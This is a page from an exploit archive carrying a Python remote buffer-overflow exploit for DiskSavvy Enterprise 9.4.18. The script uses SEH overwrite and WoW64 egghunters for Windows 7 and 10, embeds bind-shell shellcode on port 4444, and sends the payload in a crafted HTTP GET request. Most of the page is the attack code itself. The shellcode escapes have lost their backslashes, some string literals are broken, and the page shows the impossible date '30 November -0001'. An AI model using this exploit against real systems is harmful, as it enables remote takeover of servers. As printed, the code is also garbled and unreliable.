Home / os / solaris

Disk Savvy Enterprise 9.4.18 - Buffer Overflow

Posted on 30 November -0001

<HTML><HEAD><TITLE>Disk Savvy Enterprise 9.4.18 - Buffer Overflow</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY># Exploit Title: DiskSavvy Enterprise 9.4.18 - Remote buffer overflow - SEH overwrite with WoW64 egghunters 
# Date: 2017-02-22
# Exploit Author: Peter Baris
# Vendor Homepage: www.saptech-erp.com.au
# Software Link: http://www.disksavvy.com/downloads.html
# Version: 9.4.18
# Tested on: Windows 7 Pro SP1 x64 (fully patched) and Windows 10 Pro x64
 
# WoW64 egghunters are in use in this exploit, meaning it will work on specific 64bit operating systems
# Original Win7 egghunter: https://www.corelan.be/index.php/2011/11/18/wow64-egghunter/ - but I modified it for this exploit
# Win10 WoW64 egghunter only supports x86_64 platform - developed by Peter Baris based on corelan's Win7 version
# If you require a WoW64 egghunter for additional windows versions, contact me through my website http://saptech-erp.com.au/services.php
 
import socket
import sys
 
try:
    host = sys.argv[1]
    os = sys.argv[2]
    port = 80
except IndexError:
    print "[+] Usage %s <host>  win7/win10" % sys.argv[0]
    print "[i] Example: dsavvy.py localhost win10"
    sys.exit()
 
 
# 355 bytes bind shell, PORT 4444,  bad chars x09x0ax0dx20
shell = ("xbax6cxb1x12x02xd9xc7xd9x74x24xf4x5ex33xc9xb1"
"x53x83xeexfcx31x56x0ex03x3axbfxf0xf7x3ex57x76"
"xf7xbexa8x17x71x5bx99x17xe5x28x8axa7x6dx7cx27"
"x43x23x94xbcx21xecx9bx75x8fxcax92x86xbcx2fxb5"
"x04xbfx63x15x34x70x76x54x71x6dx7bx04x2axf9x2e"
"xb8x5fxb7xf2x33x13x59x73xa0xe4x58x52x77x7ex03"
"x74x76x53x3fx3dx60xb0x7axf7x1bx02xf0x06xcdx5a"
"xf9xa5x30x53x08xb7x75x54xf3xc2x8fxa6x8exd4x54"
"xd4x54x50x4ex7ex1exc2xaax7exf3x95x39x8cxb8xd2"
"x65x91x3fx36x1exadxb4xb9xf0x27x8ex9dxd4x6cx54"
"xbfx4dxc9x3bxc0x8dxb2xe4x64xc6x5fxf0x14x85x37"
"x35x15x35xc8x51x2ex46xfaxfex84xc0xb6x77x03x17"
"xb8xadxf3x87x47x4ex04x8ex83x1ax54xb8x22x23x3f"
"x38xcaxf6xaax30x6dxa9xc8xbdxcdx19x4dx6dxa6x73"
"x42x52xd6x7bx88xfbx7fx86x33x12xdcx0fxd5x7excc"
"x59x4dx16x2exbex46x81x51x94xfex25x19xfex39x4a"
"x9axd4x6dxdcx11x3bxaaxfdx25x16x9ax6axb1xecx4b"
"xd9x23xf0x41x89xc0x63x0ex49x8ex9fx99x1exc7x6e"
"xd0xcaxf5xc9x4axe8x07x8fxb5xa8xd3x6cx3bx31x91"
"xc9x1fx21x6fxd1x1bx15x3fx84xf5xc3xf9x7exb4xbd"
"x53x2cx1ex29x25x1exa1x2fx2ax4bx57xcfx9bx22x2e"
"xf0x14xa3xa6x89x48x53x48x40xc9x63x03xc8x78xec"
"xcax99x38x71xedx74x7ex8cx6ex7cxffx6bx6exf5xfa"
"x30x28xe6x76x28xddx08x24x49xf4")
 
crash = "x41" * 2487
retn = "x38x2ex14x10" # 0x10142e38 pop edi pop esi ret
filler = "x44" * (2505-334-300-100)
nseh = "xebx08x90x90"
stack_fill="x41"*100
nops="x90"*8
egg = "t00wt00w"
 
if os == "win7":
  wow64_egghunter = ("x66x8cxcbx80xfbx23x75x08x31xdbx53x53x53x53xb3xc0"
"x33xd2"
"x66x81xcaxffx0fx42x52x80xfbxc0x74x19x6ax02x58xcd"
"x2ex5ax3cx05x74xefxb8"
"x74x30x30x77"
"x89xd7xafx75xe5xafx75xe2xffxe7x6ax26x58x31xc9x89"
"xe2x64xffx13x5ex5axebxdf")
 
elif os == "win10":
  wow64_egghunter = ("x66x8cxcbx80xfbx23x75x10x31xd2x66x81xcaxffx0fx31"
"xdbx42x52x53x53x53xb3xc0x80xfbxc0x74x13x3cx05x74xeexb8"
"x74x30x30x77"
"x89xd7xafx75xe4xafx75xe1xffxe7"
"x6ax29x58x64xffx13x83xc4x0cx5axebxe1")
 
else:
  print "[!] This windows version is not supported yet"
  exit(0)
 
exploit = crash + nseh + retn + nops + wow64_egghunter + stack_fill + egg + nops  + shell + filler
 
buffer = "GET /"+exploit+" HTTP/1.1
"
buffer+= "Host: "+host+"
"
buffer+= "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2
"
buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
"
buffer+="Accept-Language: en-US,en;q=0.5
"
buffer+="Accept-Encoding: gzip, deflate
"
buffer+="Referer: http://"+host+"/login
"
buffer+="Connection: keep-alive
"
buffer+="Content-Type: application/x-www-form-urlencoded
"
buffer+="Content-Length: 5900

"
 
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((host,port))
s.send(buffer)
s.close()</BODY></HTML>

 

TOP

Malware :

Exploits :